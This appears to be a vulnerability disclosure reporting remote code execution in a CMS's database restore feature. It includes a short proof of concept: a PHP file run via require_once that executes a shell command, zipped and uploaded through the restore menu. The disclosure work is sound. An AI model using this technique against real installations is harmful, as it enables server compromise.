Remote Code Execution via Database Restore Feature
Description
github.com/
The isValidSchemaFile fix is insufficient to prevent RCE. Since the uploaded file is executed upon require_once, RCE succeeds regardless of whether the drop/create methods are overridden; omitting them merely raises an error.
PoC
rce.php:
<?php
$command = 'echo DATE=$(date +%Y-%m-%d_%H:%M:%S) UID=$(id -u) >> /tmp/rce.txt';
exec($command);
class aaa extends BcSchema {
}zip ./rce.zip rce.phpUpload the archive via Utility -> Data Maintenance -> Restoring Data.
<img width="660" height="361" alt="Screenshot_20260404_090040" src="github.com/
An error is displayed:
<img width="554" height="315" alt="Screenshot_20260404_090012" src="github.com/
Nevertheless, the RCE has already executed.
---
Although administrator privileges are required, executing code through the database restore feature constitutes unintended behavior. The restore process should therefore operate on data rather than code, as this class of issue cannot be fully mitigated through validation alone.